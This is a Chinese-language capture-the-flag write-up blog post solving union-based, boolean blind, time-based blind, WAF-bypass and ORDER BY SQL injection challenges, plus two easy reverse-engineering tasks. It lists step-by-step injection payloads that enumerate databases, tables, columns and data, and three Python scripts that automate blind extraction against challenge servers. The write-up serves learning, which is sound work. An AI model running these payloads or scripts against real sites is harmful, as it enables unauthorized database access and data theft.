CTF做题总结(二)

前言

最近这段时间在内部平台上做了一些Web题,和最基础的Reverse签到题。虽说还有两道Reverse题没做出来,但还是先总结一下吧!

Web1:BASE-INJECT

在这里插入图片描述
看题目提示,就知道这道题之前做过,不过当时没总结,现在总结一下。
题目的意思是注入。点开题目
在这里插入图片描述
发现输入id可以查信息,并且是get传参方式。
判断是否存在sql注入
判断方法在sqlilabs攻关总结中总结过。就不叙述了。这里我选用get单引号判断
输入?id=1显示正常
输入?id=1’显示错误,所以存在sql注入
在这里插入图片描述
并且有显示位,所以应该是SQL注入-联合查询注入。

联合查询注入

前提
要用联合查询进行注入则:页面必须有显示位
显示位(查字段)
在一个网站的正常页面,服务器执行sql语句查询数据库中的数据,客户端将数据展示在页面中,这个暂时数据的位置就是显示位。
联合查询
union可合并两个或多个select语句的结果集,如:

select id,username,password from users where id=1 union select 1,2,3;

前提是两个select必有相同列、且各列的数据类型也相同
union注入条件
只有最后一个select子句允许有order by
只有最后一个select子句允许有limit
只要union连接的几个查询的字段数一样且列的数据类型转换没有问题,就可以查询出结果
注入点页面有回显
注入步骤

  1. 判断是整型还是字符型
  2. 判断查询列数
  3. 判断显示位
  4. 获取所有数据库名
  5. 获取数据库所有表名
  6. 获取字段名
  7. 获取字段中的数据

知识了解完毕,开始解题
1.判断是整型还是字符型
输入?id=1 and 1=1
输入?id=1 and 1=2
回显页面不同,说明是整型注入
2.判断查询列数
输入?id=1 order by 3 --+ 显示正常
再次输入?id=1 order by 4 --+ 显示错误
所以在?id=1查看的这个表有3列,即3个字段
在这里插入图片描述
在这里插入图片描述
3. 判断显示位
在这里插入图片描述
1、2、3处,即是显示位。
4. 获取所有数据库名
group_concat()一次性显示:

1 union select 1,2,group_concat(SCHEMA_NAME) from information_schema.SCHEMATA--+

在这里插入图片描述
显示当前数据库: database()

1 union select 1,2,database()--+

在这里插入图片描述
5. 获取数据库所有表名

1 union select 1,2,group_concat(TABLE_NAME) from information_schema.TABLES WHERE TABLE_SCHEMA=database() --+

在这里插入图片描述
6. 获取字段名

1 union select 1,2,group_concat(COLUMN_NAME) from information_schema.COLUMNS WHERE TABLE_SCHEMA=database() and TABLE_NAME='users' --+

在这里插入图片描述
7. 获取字段中的数据

1 union select 1,2,group_concat(username) from users --+

在这里插入图片描述
得到flag。

Web2:BASE-Blind-Inject

在这里插入图片描述
“BASE-Blind-Inject”意思是“基础盲注”。盲注知识之前我已经总结过,所以直接做题
打开题目,发现是登录框。想到SQL的简单注入,试一下闭合方式,最后发现是双引号闭合
payload

" or 1=1#

在这里插入图片描述
flag在数据库?!并且输错回显不同,再结合题目“基础盲注”,所以很明显是布尔盲注,并且是POST型的。
所以开始构造针对此题的布尔盲注pyload
盲注方法:

  1. 最慢:可以采用二分法的方式,手工进行盲注,对数据库名的每一个字符进行猜解(在浏览器进行测试有点不方便,可以用Burpsuite抓包,使用Repeater进行测试)
    参考:
    sqli-labs攻关2(布尔盲注、时间盲注)
  2. 一般:可以使用Burpsuite抓包,半自动化盲注,设置变量,通过返回的长度不同进行判断
    参考:
    利用BurpSuite实现半自动化盲注
  3. 较快:写一个普通盲注脚本进行盲注
    参考:
    sqli-labs盲注脚本
    python3以post方式提交数据
    1. 最快:写一个2分法猜测数据库长度的盲注脚本进行盲注
      参考:
      Bool盲注脚本-POST

1.爆库
猜库长
payload

" or (length(database())=10)--+正常

所以数据库长度为10
猜库名
payload

" or (ascii(substr(database(),1,1))=n)--+

手工盲注

手工测试第一个字符
在这里插入图片描述
在这里插入图片描述
第一个字符ascii码为99,即字符“c”
一直尝试,直到字符全部猜出。

Burpsuite半自动化盲注

要注意如果第二个变量选择的是字符字典,payload写成如下形式:

" or (substr(database(),1,1)='a')--+

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
length为498的即为正常回显的,(上面等进度条满格则爆破结束,我没有爆破完)将得到的正常回显的Payload2根据Payload1进行排序,即为数据库名。数据库名为chellenges
2.爆表
猜表长
payload

" or (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6)--+正常

所以数据表长度为6
猜表名
payload

" or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=n)--+

沿用爆库的方法,最终得到表名user_2
3.爆字段
猜字段长
payload

" or (length((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 0,1))=2)--+正常
" or (length((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 1,1))=8)--+正常
" or (length((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 2,1))=8)--+正常

所以数据字段长度分别为2、8、8
猜字段名
payload

" or (ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 0,1),1,1))=n)--+

沿用爆库的方法,最终得到三个字段名id username password
4.爆数据
猜数据长

" or (length((select password from challenges.user_2 limit 1,1))=32)--+正常

所以数据长度为32,这个应该就是flag那条数据了
猜数据名

" or (ascii(substr((select password from challenges.user_2 limit 1,1),1,1))=n)--+

沿用爆库的方法,最终得到数据flag

脚本盲注

这里有一个我参照大佬博客写好的脚本(我太菜,不会写二分法猜长度的那个脚本)

import requests
chars='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_,;{}&=+'
postdata={
    'username':'" or 1=1#',
    'password':'admin'
    }
url="http://35.201.188.231:9000/challenge-02/post.php"
r=requests.post(url,data=postdata)
length=len(r.text)

def name(url,length):
    dbname=''
    print("数据库名:",dbname)
    payload='" or ascii(substr(database(),{0},1))={1} #'
    #print("数据表名:",dbname)
    #payload='"or ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0},1))={1}#'
    #print("字段名:",dbname)
    #payload='"or ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 1,1),{0},1))={1}#'
    #print("数据:",dbname)
    #payload='" or ascii(substr((select password from user_2 limit 1,1),{0},1))={1}#'
    for i in range(1,40):
        char=''
        for x in chars:
            char_ascii=ord(x)
            payloads=payload.format(i,char_ascii)
            postdata={
            'username':payloads,
            'password':'admin'
            }
            r=requests.post(url,data=postdata)
            if len(r.text) == length:
                dbname+=x
                print(dbname)
                char=x
                break
        if char=='':
            break
    return dbname
name(url,length)

在这里插入图片描述

Web3:BASE-TIME-BLIND-INJECT

在这里插入图片描述
题目意思是时间盲注,所以很显然这道题是时间盲注。时间盲注正常和不正常回显结果相同,所以进入题目,还是登录框,先不测试。查看源码
在这里插入图片描述
给了题目源码,url框输入www.zip下载源码,或如下
在这里插入图片描述
解压,查看
在这里插入图片描述
发现sql查询语句的闭合方式,所以构造闭合方式为'"
当然时间盲注也有三种方法:

  1. 手工盲注: sqli-labs攻关2(布尔盲注、时间盲注)
  2. Burpsuite半自动化盲注:Mysql 高级盲注技巧之时间盲注
  3. 脚本盲注:Time盲注脚本-POST

与布尔盲注相比,因为正常和不正常返回相同,所以采用sleep()函数延迟时间来判断是否正常。
1.爆库
猜库长

'" or if(length(database())=10,sleep(5),1)--+延迟五秒

所以数据库长度为10
猜库名

'" or if((ascii(substr(database(),1,1))=n),sleep(5),1)--+

手工盲注

手工测试第一个字符
在这里插入图片描述
在这里插入图片描述
第一个字符ascii码为98时,无延迟;第一个字符ascii码为99时,延迟5秒。所以第一个字符为99,即字符“c”

Burpsuite半自动化盲注

要注意如果第二个变量选择的是字符字典,大小写识别有点问题,不过因为字典较快,所以依旧用的字典,然后再判断大小写。payload写成如下形式:

'" or if((substr(database(),1,1)='a'),sleep(5),1)--+

在这里插入图片描述
和布尔盲注一样选择设置变量,选择变量范围。开始爆破,双击Timeout下的四方块
在这里插入图片描述
正常的
在这里插入图片描述
延迟的
在这里插入图片描述
找到所有延迟的,然后进行排序即可得到数据库名。最后得到数据库名为chellenges
2.爆表
猜表长

'" or if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6),sleep(5),1)--+延迟5秒

所以数据表长度为6
猜表名

'" or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=n),sleep(5),1)--+

沿用爆库的方法,最终得到表名user_3
3.爆字段
猜字段长

'\" or if((length((select column_name from information_schema.columns where table_name="user_3" and table_schema=database() limit 0,1))=2),sleep(5),1)--+延迟5秒
'\" or if((length((select column_name from information_schema.columns where table_name="user_3" and table_schema=database() limit 1,1))=8),sleep(5),1)--+延迟5秒
'\" or if((length((select column_name from information_schema.columns where table_name="user_3" and table_schema=database() limit 2,1))=8),sleep(5),1)--+延迟5秒

所以数据字段长度分别为2、8、8
猜字段名

'\" or if((ascii(substr((select column_name from information_schema.columns where table_name="user_3" and table_schema=database() limit 0,1),1,1))=n),sleep(5),1)--+

沿用爆库的方法,最终得到三个字段名id username password
4.爆数据
猜数据长

" or if((length((select password from challenges.user_3 limit 1,1))=25),sleep(5),1)--+延迟5秒

所以数据长度为25,这个应该就是flag那条数据了
猜数据名

'" or if((ascii(substr((select password from challenges.user_3 limit 1,1),1,1))=n),1,sleep(5))--+

沿用爆库的方法,最终得到数据flag

脚本盲注

这里有一个我修改布尔盲注得到的时间盲注脚本

import requests
import time
import string
import sys
chars='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_,;{}&=+'
url="http://35.201.188.231:9000/challenge-02/post.php"
dbname=''
payload="'\" or if((ascii(substr(database(),{0},1))={1}),sleep(5),1) #"
print("数据库名:",dbname)
#payload="'\"or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0},1))={1}),sleep(5),1) #"
#print("数据表名:",dbname)
#payload="'\"or if((ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name="user_3" limit 1,1),{0},1))={1}),sleep(5),1) #"
#print("字段名:",dbname)
#payload="'\" or if((ascii(substr((select password from user_3 limit 1,1),{0},1))={1}),sleep(5),1) #"
#print("数据:",dbname)
for i in range(1,40):
    char=''
    for x in chars:
        char_ascii=ord(x)
        payloads=payload.format(i,char_ascii)
        start=time.time()
        postdata={
            'username':payloads,
            'password':'admin'
        }
        r=requests.post(url,data=postdata)
        if (time.time() - start)>=5:
            dbname+=x
            print(dbname)
            char=x
            break
    if char=='':
        break

因为效率有点低,就先演示个爆数据库名的
在这里插入图片描述

Web4:BASE-INJECT-WAF

在这里插入图片描述
根据和查看题目,与Web1相比就多加了个waf。通过preg_replace()函数执行一个正则表达式的搜索和替换。
由题目可知,过滤了or|and|select|union|from,所以要进行WAF绕过

WAF绕过

参考博客:SQL注入WAF绕过姿势
这道题我采用的双写绕过
1.爆库
在这里插入图片描述
2.爆表
在这里插入图片描述
3.爆字段
在这里插入图片描述
4.爆数据
在这里插入图片描述
得到flag。

Web5:orderby死亡在线

在这里插入图片描述
order by?!我只知道查列数有用到order by。先看看老学长给的tips
在这里插入图片描述
先百度一下order by
ORDER BY 关键字

order by排序注入

Order by排序注入方法小总结
MySQL Order By 注入总结
了解完毕。这是order by排序注入,如下order参数可控:

select * from goods order by $_GET['order']

而题目tips刚好符合:

select * from 一个不是flag的表 order by id {$order}

我选择利用报错返回多条记录的方式进行注入,先进行测试
post传参

order=and if(1=1,1,(select 1 from information_schema.tables))正确
order=and if(1=2,1,(select 1 from information_schema.tables))错误

所以构造payload开始报错盲注
1.爆库
payload

and if(ascii(substr(database(),1,1))=n,1,(select 1 from information_schema.tables))

2.爆表
payload

and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=n,1,(select 1 from information_schema.tables))

3.爆字段
payload

and if(ascii(substr((select column_name from information_schema.columns where table_name='cha1users' and table_schema='cha1DB' limit 3,1),1,1))=n,1,(select 1 from information_schema.tables))

4.爆数据
payload

and if(ascii(substr((select flag from cha1users limit 1,1),1,1))=n,1,(select 1 from information_schema.tables))

除payload不同外,方法沿用布尔盲注。这有一个我改好的脚本:

import requests

chars='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_,;{}&=+!@%^*$()[]:".#'
postdata={
    'order':',if(1=1,1,(select 1 from information_schema.tables))'
    }
url="http://39.106.19.10/orderby/"
r=requests.post(url,data=postdata)
length=len(r.text)

def name(url,length):
    dbname=''
    payload='and if(ascii(substr(database(),{0},1))={1},1,(select 1 from information_schema.tables))'
    print("数据库为:",dbname)
    #payload='and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0},1))={1},1,(select 1 from information_schema.tables))'
    #print("数据表为:",dbname)
    #payload="and if(ascii(substr((select column_name from information_schema.columns where table_name='cha1users' and table_schema='cha1DB' limit 3,1),{0},1))={1},1,(select 1 from information_schema.tables))"
    #print("字段为:",dbname)
    #payload="and if(ascii(substr((select flag from cha1users limit 1,1),{0},1))={1},1,(select 1 from information_schema.tables))"
    #print("数据:",dbname)
    for i in range(1,40):
        char=''
        for x in chars:
            char_ascii=ord(x)
            payloads=payload.format(i,char_ascii)
            postdata={
            'order':payloads
            }
            r=requests.post(url,data=postdata)
            if len(r.text) == length:
                dbname+=x
                print(dbname)
                char=x
                break
        if char=='':
            break
    return dbname
name(url,length)

Reverse1:RE0(签到)

在这里插入图片描述
就是一个很简单的签到题,赢了就有flag?!所以用IDA打开,选择
在这里插入图片描述
打开得到flag
在这里插入图片描述

Reverse2:RE1

在这里插入图片描述
提示的很明显(之前好像没提示有莫名奇妙的数字),下载题目用IDA打开,F5反编译一下
在这里插入图片描述
发现一串奇怪的数字,按照v4-v23对下面的数字进行排序,然后转换成ASCII(之前我不知道可以用r键转,所以用的在线平台)
在这里插入图片描述
得到flag。

感悟

总结之后对联合查询和盲注有了更加清醒的认识,同时会脚本的编写和改写也特别重要。
继续努力,小白进阶ing


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 qwzf1024@qq.com

×

喜欢就点赞,疼爱就打赏